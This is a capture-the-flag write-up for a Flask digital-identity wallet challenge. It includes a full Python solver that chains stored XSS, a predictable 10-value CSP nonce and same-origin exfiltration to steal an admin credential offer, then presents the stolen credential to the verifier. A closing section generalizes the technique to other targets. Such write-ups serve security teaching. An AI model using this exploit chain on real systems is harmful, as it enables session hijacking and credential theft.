$ cat writeup.md…
$ cat writeup.md…
fortid2026
Task: Flask EUDI wallet gate where only a credential with admin: true opens the treasury. Solution: stored HTML injection on the admin bot page plus a predictable 10-value CSP nonce runs a script that steals the admin credential offer, exfiltrates it same-origin, collects the admin SD-JWT via the FortID wallet API, and presents it to the verifier.
The Royal Chancery is preparing a new digital credential for the King. Leave a welcome notice, then summon the royal attendant to open the credential collection page. The treasury accepts only credentials belonging to a royal administrator. The credential is issued through FortID and can be collected with the FortID wallet app for Android or iOS. Can you obtain the administrator credential and enter the treasury?
The handout is a zip containing the source of three Flask apps — issuer, verifier, and bot — plus deploy files and a pinned issuer-root-ca.pem ("FortID Dev CA"). Players get team-specific issuer and verifier HTTPS origins. The goal is to obtain an administrator credential and present it to the verifier, whose /api/login/status returns the flag only when a verification session reaches VERIFICATION_SUCCEEDED with presentedClaims.admin is True.
GET / — welcome notice form (rich HTML supported).POST /announcement — stores arbitrary HTML for the notice.GET /admin — admin-only; this is the admin bot's credential collection page.POST /api/user/offer — issues a non-admin badge (admin: False, hardcoded).POST /api/admin/offer — admin-only; issues a credential with admin: True.POST /api/bot/run, GET /api/bot/status, plus internal /internal/bot/login|logout guarded by BOT_SECRET.POST /api/login — starts a FortID OpenID4VP verification session (pinned issuer trust anchor) and returns an openid4vp:// authorization request.GET /api/login/status — returns the flag once the session is VERIFICATION_SUCCEEDED and presentedClaims.admin is True./internal/bot/login (obtaining an admin session), visits /admin, clicks #issue (which calls /api/admin/offer), then waits. It never scans or redeems the offer.https://eis.fortid.com, verification service https://evs.fortid.com, wallet service https://ews.fortid.com, wallet token https://cape.fortid.com/token./adminPOST /announcement stores arbitrary HTML. The only filtering is a weak regex that strips on*= event handlers:
value = re.sub(r"\s+on[a-z]+\s*=\s*(?:\"[^\"]*\"|'[^']*'|[^\s>]+)", "", value, flags=re.IGNORECASE)
admin.html renders the notice raw:
<section class="card notice">{{ announcement | safe }}</section>
The admin bot visits /admin while authenticated, so this is stored XSS against the bot's privileged session.
/admin responds with:
default-src 'none'; script-src 'self' 'nonce-<nonce>'; style-src 'self' 'unsafe-inline';
img-src 'self' data:; connect-src 'self' http://host.docker.internal:9000;
The nonce is:
message = secrets.choice(HINT_MESSAGES) # fixed list of 10 messages hint_script = (... json.dumps(message) ...) # deterministic per message nonce = hashlib.sha256(hint_script.encode()).hexdigest()[:6]
Because HINT_MESSAGES is a fixed list of 10 elements, there are only 10 possible nonces ever. Injecting one <script nonce="…"> per candidate means exactly the matching one executes (browser-verified with a real Chromium). No external script, no hash bypass, no unsafe-inline needed.
connect-src 'self'The CSP restricts connect-src to 'self' (plus a docker-internal host the attacker cannot reach). The injected script runs same-origin in the bot's browser, so it can:
<meta name="csrf-token">,POST /api/admin/offer with header X-CSRF-Token to get {offer_uri, qr},POST /announcement — a same-origin fetch allowed by connect-src 'self'.The operator then simply reads it from GET /. There is no need for any attacker-controlled collector host.
on*= regex as a filter.connect-src that still allows same-origin exfil into a public, writable announcement channel.Compute the 10 possible nonces from the fixed messages and emit one <script nonce="…"> per candidate. The JS steals the CSRF token, calls /api/admin/offer, and POSTs the offer URI back into the announcement.
Build the exfil markers at runtime ('KX'+'LEAK_S') so the literal marker never appears in the stored payload — otherwise the operator's own poll regex matches the payload source before the XSS fires.
POST /api/bot/run makes the bot visit /admin; the matching nonce script executes and exfiltrates the admin openid-credential-offer:// URI into the announcement.
Poll GET / and extract the marker-delimited offer; html.unescape it, because the announcement is rendered inside a <textarea> on / and &/quotes are escaped there.
Drive the FortID wallet service programmatically:
POST https://cape.fortid.com/token → bearer token.POST https://ews.fortid.com/wallets → walletId.POST https://ews.fortid.com/wallets/{id}/issue/initiate with {"credentialOffer": "<stolen offer>"} → issuanceSessionId.POST .../issue/{sid}/session-status; on CONSENT_REQUEST_READY call POST .../issue/{sid}/consent with {"preAuthorizedCodeFlow": {}}; until ISSUANCE_SUCCEEDED.POST {verifier}/api/login (with the session CSRF token and Origin/X-CSRF-Token headers) → authorization_request (openid4vp://...).POST https://ews.fortid.com/wallets/{id}/verify/initiate with {"authorizationRequest": <aru>}; poll .../verify/{sid}/session-status; on CONSENT_REQUEST_READY take consentRequestObject.matching_credentials[0] id and POST .../verify/{sid}/present with {"selectedCredentialId": <id>} until VERIFY_SUCCEEDED.GET {verifier}/api/login/status → the treasury opens and the response contains the flag (FortID{REDACTED}).
form-action, and connect-src 'self' allows the fetch; Origin/Referer checks pass naturally from the bot's own page.Origin and X-CSRF-Token (plus the csrf form field) when calling /announcement, /api/bot/run, and /api/login.#!/usr/bin/env python3 """King Admin (fortid2026) end-to-end solver. Chain: 1. Stored XSS in the welcome notice (predictable CSP nonce among 10 values) makes the admin bot call /api/admin/offer and write the credential offer back into the public announcement (same-origin exfil). 2. Read the offer, collect the admin SD-JWT via the FortID wallet service. 3. Start a verification session on the challenge verifier and present the admin credential; /api/login/status returns the flag. Usage: python3 solve.py --issuer https://<issuer-host> --verifier https://<verifier-host> """ import argparse import hashlib import html import json import re import sys import time import requests EWS = "https://ews.fortid.com" CAPE = "https://cape.fortid.com/token" HINT_MESSAGES = [ "Hello, today is a very nice day. Have fun!", "A careful look at the page source may reveal something useful.", "Small details can make a big difference.", "The browser trusts some scripts more than others.", "Not every visible element is only decoration.", "Read the page carefully before interacting with it.", "Sometimes the answer is hidden in plain sight.", "The server may know more than the interface shows.", "Try to understand how this page is assembled.", "A little persistence can unlock unexpected results.", ] def log(*a): print("[*]", *a, flush=True) def candidate_nonces(): out = [] for m in HINT_MESSAGES: hs = ("const banner=document.createElement('div');" f"banner.textContent={json.dumps(m)};" "banner.style.cssText='position:fixed;top:0;left:0;right:0;" "padding:12px;background:#ffe08a;color:#111;z-index:9999;" "text-align:center';document.body.prepend(banner);") out.append(hashlib.sha256(hs.encode()).hexdigest()[:6]) return out def build_payload(): # Markers assembled at runtime so the literal marker is not in the source. js = ( "(async()=>{try{" "const c=document.querySelector('meta[name=csrf-token]').content;" "const r=await fetch('/api/admin/offer',{method:'POST'," "headers:{'X-CSRF-Token':c}});" "const d=await r.json();" "const o=d.offer_uri||JSON.stringify(d);" "await fetch('/announcement',{method:'POST'," "headers:{'Content-Type':'application/x-www-form-urlencoded'," "'X-CSRF-Token':c}," "body:'csrf='+encodeURIComponent(c)+'&announcement='+" "encodeURIComponent('KX'+'LEAK_S'+o+'KX'+'LEAK_E')});" "}catch(e){}})();" ) return "".join(f'<script nonce="{n}">{js}</script>' for n in candidate_nonces()) def get_csrf(session, base): r = session.get(base + "/", timeout=20) r.raise_for_status() m = re.search(r'name="csrf-token" content="([^"]+)"', r.text) if not m: raise RuntimeError("no csrf meta on " + base) return m.group(1) def new_wallet(): tok = requests.post(CAPE, timeout=20).json()["access_token"] wh = {"Authorization": f"Bearer {tok}", "Content-Type": "application/json"} r = requests.post(f"{EWS}/wallets", headers=wh, timeout=30) r.raise_for_status() return r.json()["walletId"], wh def collect_credential(wid, wh, offer): r = requests.post(f"{EWS}/wallets/{wid}/issue/initiate", headers=wh, json={"credentialOffer": offer}, timeout=30) r.raise_for_status() wis = r.json()["issuanceSessionId"] for _ in range(20): j = requests.post(f"{EWS}/wallets/{wid}/issue/{wis}/session-status", headers=wh, timeout=30).json() st = j.get("status") log(" issuance status:", st) if st in ("ISSUANCE_SUCCEEDED", "SUCCEEDED"): return True if st == "CONSENT_REQUEST_READY": requests.post(f"{EWS}/wallets/{wid}/issue/{wis}/consent", headers=wh, json={"preAuthorizedCodeFlow": {}}, timeout=30) if st in ("FAILED", "ERROR", "ISSUANCE_FAILED"): return False time.sleep(1) return False def present_credential(wid, wh, authorization_request): r = requests.post(f"{EWS}/wallets/{wid}/verify/initiate", headers=wh, json={"authorizationRequest": authorization_request}, timeout=30) if r.status_code != 200: log("verify/initiate error", r.status_code, r.text[:300]) return False wvs = r.json().get("verificationSessionId") sel = None for _ in range(20): j = requests.post(f"{EWS}/wallets/{wid}/verify/{wvs}/session-status", headers=wh, timeout=30).json() st = j.get("status") log(" verify status:", st) if st in ("VERIFY_SUCCEEDED", "SUCCEEDED", "PRESENTATION_SUCCEEDED"): return True if st == "CONSENT_REQUEST_READY": mc = (j.get("consentRequestObject") or {}).get("matching_credentials") if mc: first = mc[0] sel = first["id"] if isinstance(first, dict) else first requests.post(f"{EWS}/wallets/{wid}/verify/{wvs}/present", headers=wh, json={"selectedCredentialId": sel}, timeout=30) if st in ("FAILED", "ERROR", "VERIFY_FAILED"): return False time.sleep(1) return False def main(): ap = argparse.ArgumentParser() ap.add_argument("--issuer", required=True) ap.add_argument("--verifier", required=True) ap.add_argument("--wait", type=int, default=40) args = ap.parse_args() issuer = args.issuer.rstrip("/") verifier = args.verifier.rstrip("/") payload = build_payload() # --- Stage 1: plant the XSS and summon the bot --- isess = requests.Session() csrf = get_csrf(isess, issuer) isess.post(issuer + "/announcement", data={"csrf": csrf, "announcement": payload}, headers={"Origin": issuer, "Referer": issuer + "/"}, timeout=30) isess.post(issuer + "/api/bot/run", data={"csrf": csrf}, headers={"Origin": issuer, "Referer": issuer + "/", "X-CSRF-Token": csrf}, timeout=30) # --- Stage 2: wait for the XSS to exfil the offer into the announcement --- offer = None deadline = time.time() + args.wait while time.time() < deadline: page = isess.get(issuer + "/", timeout=20).text m = re.search(r"KXLEAK_S(.*?)KXLEAK_E", page, re.S) if m: offer = html.unescape(m.group(1)) if offer.startswith("openid-credential-offer") or "credential_offer_uri" in offer: break offer = None time.sleep(1) if not offer: sys.exit("FAILED: no offer leaked") log("LEAKED OFFER:", offer) # --- Stage 3: collect the admin credential --- wid, wh = new_wallet() if not collect_credential(wid, wh, offer): sys.exit("FAILED: could not collect credential") # --- Stage 4: verification session on the challenge verifier --- vsess = requests.Session() vcsrf = get_csrf(vsess, verifier) r = vsess.post(verifier + "/api/login", data={"csrf": vcsrf}, headers={"Origin": verifier, "Referer": verifier + "/", "X-CSRF-Token": vcsrf}, timeout=30) aru = r.json().get("authorization_request") present_credential(wid, wh, aru) # --- Stage 5: read the flag --- for _ in range(15): j = vsess.get(verifier + "/api/login/status", timeout=20).json() log("login status:", j.get("status")) if j.get("status") == "AUTHORIZED": print("FLAG:", j.get("flag")) # FortID{REDACTED} return time.sleep(3) sys.exit("FAILED: not authorized") if __name__ == "__main__": main()
Use this approach when:
secrets.choice(fixed_list) hint banner, a rotating template, an enumerated set of strings) — enumerate all outputs and inject one <script nonce=…> per candidate.| safe (raw) on an admin/bot-only page — stored XSS against a privileged automated browser.connect-src but not form-action, and the app exposes a public, writable same-origin sink (an announcement/comment endpoint) — exfiltrate with a same-origin fetch instead of a callback server.dc+sd-jwt / EUDI wallet and the handout says "use the mobile wallet app" — the wallet service is a documented HTTP API (/token, /wallets, issue/initiate, verify/initiate, consent, present) you can drive headlessly.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar